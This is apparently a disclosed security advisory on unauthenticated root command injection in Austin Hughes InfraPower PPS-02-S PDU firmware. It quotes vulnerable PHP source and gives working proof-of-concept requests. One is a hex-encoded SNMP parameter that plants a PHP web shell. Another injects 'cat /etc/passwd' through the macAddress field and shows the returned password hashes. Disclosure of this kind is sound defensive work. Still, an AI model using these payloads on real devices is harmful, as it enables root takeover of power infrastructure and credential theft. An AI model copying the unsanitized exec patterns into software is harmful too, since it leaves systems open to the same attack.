### Summary
InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management.
### Description
InfraPower suffers from multiple unauthenticated remote command injection vulnerabilities. The vulnerability exist due to several POST parameters in several scripts not being sanitized when using the exec(), proc_open(), popen() and shell_exec() PHP function while updating the settings on the affected device. This allows the attacker to execute arbitrary system commands as the root user and bypass access controls in place.
### Vendor
Austin Hughes Electronics Ltd. - http://www.austin-hughes.com
### Affected Version
* Q213V1 (Firmware: V2395S)
### Tested On
* Linux 2.6.28 (armv5tel)
* lighttpd/1.4.30-devel-1321
* PHP/5.3.9
* SQLite/3.7.10
### Detail
`doupgrate.php`:
```
09: <?
10: echo "Firmware Upgrate Using NFS:<BR>";
11: echo "IP=".$_POST["ipaddr"]."<BR>";
12: echo "Firmware Name=".$_POST["fwname"]."<BR>";
13: system("sh nfs.sh");
14: echo "Mounting NFS<BR>";
15: system("mount -t nfs -o nolock ".$_POST["ipaddr"].":".$_POST["nfsdir"]." /nfs");
16: system("cp /nfs/".$_POST["fwname"]." /");
17: echo "Flash erasing<BR>";
18: system("@flash_eraseall /dev/mtd0");
19: system("cp /".$_POST["fwname"]." /dev/mtd0");
20: echo "Upgrate done<BR>";
21: system("umount /nfs");
22: echo "Reboot system<BR>";
23: system("reboot");
24: ?>
```
`IPSettings.php`:
```
83: $IP_setting = ereg_ip($_POST['IP']);
84: $Netmask_setting = ereg_ip($_POST['Netmask']);
85: $Gateway_setting = ereg_ip($_POST['Gateway']);
...
...
110: $fout = fopen("/mnt/mtd/net_conf", "w");
111: if($fout){
112: $output = substr($output, 0, -1);
113: fprintf($fout, "%s", $output);
114: //echo $change_ip.'b';
115: if($change_ip === '1'){
116: $str = '';
117: exec('ifconfig eth0 '.$IP_setting.' netmask '.$Netmask_setting, $str);
118: // echo $str."\n";
119: }
120: if($change_gw === '1'){
121: $str = '';
122: exec('ip route del default', $str);
123: exec('route add default gw '.$Gateway_setting, $str);
124: // echo $str[0]."a\n";
125: }
126: }
127: fclose($fout);
...
...
164: function ereg_ip($ipstring){
165: $ipstring=trim($ipstring); //移除前後空白
166: //ж јејЏйЊЇиЄ¤
167: if(!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ipstring))return 0;
168: //內容檢查
169: $ip_segment =split("\.",$ipstring); //жіЁж„ЏдёЂе®љи¦ЃеЉ "\"，否則會分不開。
170: foreach($ip_segment as $k =>$v){
171: if($v >255){
171: return 0;
172: }
173: $ip_segment[$k]=(int)$ip_segment[$k]; //消除ipдёзљ„0пјЊex:1.020.003.004 =>1.20.3.4
174: } //end foreach
175: $ipstring ="$ip_segment[0].$ip_segment[1].$ip_segment[2].$ip_segment[3]"; //е°‡е—дёІ$ipи™•зђ†
176: return $ipstring;
177: }
```
`Login.php`:
```
126: $UserName = getConf("/mnt/mtd/web_conf", "UserName");
127: $Password = getConf("/mnt/mtd/web_conf", "Password");
128:
129: //echo 'z'.$_POST['ID_User'].';'.$UserName.' Pwd:'.$_POST['ID_Password'].';'.$Password;
130: if($_POST['ID_User'] === $UserName && $_POST['ID_Password'] === $Password){
...
...
140: $_SESSION['Login'] = $_POST['ID_User'];
141:
142: //Login
143: $loginTime = date("Y-m-d,H:i:s.0,P");
144: $remoteIP = $_SERVER['REMOTE_ADDR'];
145: //----------SNMP checking ---Ed 20130307------------------------<
146: $SNMPEnable = getConf("/mnt/mtd/snmp_conf", "enable");
147: if ($SNMPEnable == "1") {
148: $TrapEnable = getConf("/mnt/mtd/snmp_conf", "trap");
149: if ($TrapEnable == "v2Trap") {
150: $trapTo = getConf("/mnt/mtd/snmp_conf", "IP");
151: shell_exec('/usr/bin/snmptrap -M /usr/share/snmp/mibs/ -c public -v 2c ' . $trapTo . ' \'\' InfraPower-MIB::webLogin InfraPower-MIB::objectDateTime s "' . $loginTime . '" InfraPower-MIB::userName s "' . $_POST['ID_User'] . '" InfraPower-MIB::webAccessIpAddress s "' . $remoteIP . '"');
152: //echo "alert($res);";
153: }
154: }
```
`Ntp.php`:
```
36: <?php
37: if(empty($_POST['Change']))
38: $tzone='8';
39: else
40: {
41:
42: $tzone=$_POST['ID_timezone'];
43: $idx=$tzone+12;
44: echo "update status...";
45: exec("/usr/bin/ntpclient -s -h 220.130.158.71");
46: exec("/usr/bin/zonegen ".$idx);
47: exec("/usr/bin/zic -d /usr/bin/ zonetime");
48: exec("mv /usr/bin/localtime /etc/localtime");
49: echo "OK";
50: }
51: ?>
```
`production_test1.php`:
```
4: if( isset($_POST['macAddress']) )
5: {
6: shell_exec("echo ". $_POST['macAddress'] . " > /mnt/mtd/mac_addr");
7: $mac = shell_exec("cat /mnt/mtd/mac_addr");
8: /*$result = $fail;
9: echo $mac . ",";
10: echo $_POST['macAddress'];
11: if( !strcmp($mac,$_POST['macAddress']) )
12: $result = $success;
13: echo "verify - " . $mac . " - " . $result;*/
14: echo "verify - " . $mac;
15:
16: exit();
17: }
```
`SNMP.php`:
```
34: if($_POST["SNMPAgent"] === "Enable"){
35: exec('kill -9 `ps | grep "snmpd -c /mnt/mtd/snmpd.conf" | cut -c 1-5`');
36: setConf("/mnt/mtd/snmp_conf", "enable", "1");
37:
38: if(!empty($_POST["CommuintyString"]) && !empty($_POST["CommuintyWrite"]))
39: {
40: exec("cp /etc/snmpd.conf /mnt/mtd/snmpd.conf");
41: exec("sed -i s/public/".$_POST["CommuintyString"]."/g /mnt/mtd/snmpd.conf");
42: setConf("/mnt/mtd/snmp_conf", "pCommunity", $_POST["CommuintyString"]);
43: setSnmpConf(1,$_POST["CommuintyString"]);
44: setSnmpConf(2,$_POST["CommuintyWrite"]);
45: $pCommunity = $_POST["CommuintyString"];
46: }
```
`System.php`:
```
86: if(!empty($_POST['ChangeTime']) == "1"){
87: if(checkdate($_POST['month'], $_POST['day'], $_POST['year']) == 1){
88:
89: //Ray modify
90: $datetime = date("mdHiY.s", mktime($_POST['hour']-1,$_POST['minute']-1,$_POST['second']-1,$_POST['month'],$_POST['day'],$_POST['year']));
91: //$datetime = $_POST['month'].$_POST['day'].$_POST['hour'].$_POST['minute'].$_POST['year'].'.'.$_POST['second'];
92:
93:
94: if(isset($_POST['TimeZone'])){
95: setTimeZone($_POST['TimeZone']);
96: $orgZone = $_POST['TimeZone'];
97: }
98:
99: exec('date '.$datetime);
100: exec('hwclock -w');
101: exec('hwclock -w -f /dev/rtc1');
...
...
180: if(isset($_POST['TimeServer'])){
181: //$TimeServer = ereg_ip($_POST['TimeServer']);
182: if(!empty($_POST['TimeServer'])){
183: $TimeServer = $_POST['TimeServer'];
184:
185: $returnStr = exec("/usr/bin/ntpclient -s -h ".$TimeServer . " -i 1");
...
...
286: exec('ifconfig eth0 '.$IP_setting.' netmask '.$Netmask_setting, $str);
...
...
292: exec('route add default gw '.$Gateway_setting, $str);
...
...
336: function ereg_ip($ipstring){
337: $ipstring=trim($ipstring); //移除前後空白
338: //ж јејЏйЊЇиЄ¤
339: if(!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ipstring))return 0;
340: //內容檢查
341: $ip_segment =split("\.",$ipstring); //жіЁж„ЏдёЂе®љи¦ЃеЉ "\"，否則會分不開。
342: foreach($ip_segment as $k =>$v){
343: if($v >255){
344: return 0;
345: }
346: $ip_segment[$k]=(int)$ip_segment[$k]; //消除ipдёзљ„0пјЊex:1.020.003.004 =>1.20.3.4
347: } //end foreach
348: $ipstring ="$ip_segment[0].$ip_segment[1].$ip_segment[2].$ip_segment[3]"; //е°‡е—дёІ$ipи™•зђ†
349: return $ipstring;
350: }
```
`UploadEXE.php`:
```
72: if(isset($_POST['hasFile'])){
73: if ($_FILES['ExeFile']['error'] > 0){
74: echo 'Error: ' . $_FILES['FW']['error'];
75: }else{
76: echo 'File Name: ' . $_FILES['ExeFile']['name'].'<br/>';
...
...
80: move_uploaded_file($_FILES['ExeFile']['tmp_name'], '/ramdisk/'.$_FILES['ExeFile']['name']);
81: chmod("/ramdisk/".$_FILES['ExeFile']['name'], "0777");
82: $fp = popen("\"/ramdisk/".$_FILES['ExeFile']['name']."\"", "r");
```
### PoC
1.
PoC Request:
```
curl -i -s -k -X 'POST' \
-H 'User-Agent: ZSL-Injectinator/3.1 (Unix)' -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'SNMPAgent=Enable&CommuintyString=public|%65%63%68%6f%20%22%3c%3f%70%68%70%20%65%63%68%6f%20%73%79%73%74%65%6d%28%5c%24%5f%47%45%54%5b%27%63%27%5d%29%3b%20%3f%3e%22%20%3Etest251.php%26&CommuintyWrite=private&TrapsVersion=v2Trap&IP=192.168.0.254' \
'https://192.168.0.17/SNMP.php?Menu=SMP'
...
curl -k https://192.168.0.17/test251.php?c=whoami;echo " at ";uname -a
```
Response:
```
root
at
Linux A320D 2.6.28 #866 PREEMPT Tue Apr 22 16:07:03 HKT 2014 armv5tel unknown
```
2.
PoC Request:
```
POST /production_test1.php HTTP/1.1
Host: 192.168.0.17
User-Agent: ZSL-Injectinator/3.1 (Unix)
Content-Type: application/x-www-form-urlencoded
Connection: close
macAddress=ZE:RO:SC:IE:NC:E0;cat /etc/passwd
```
Response:
```
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.9
Content-type: text/html
Connection: close
Date: Fri, 17 Jan 2003 16:58:52 GMT
Server: lighttpd/1.4.30-devel-1321
Content-Length: 751
verify - root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script
user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script
service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh
www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh
www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh
```
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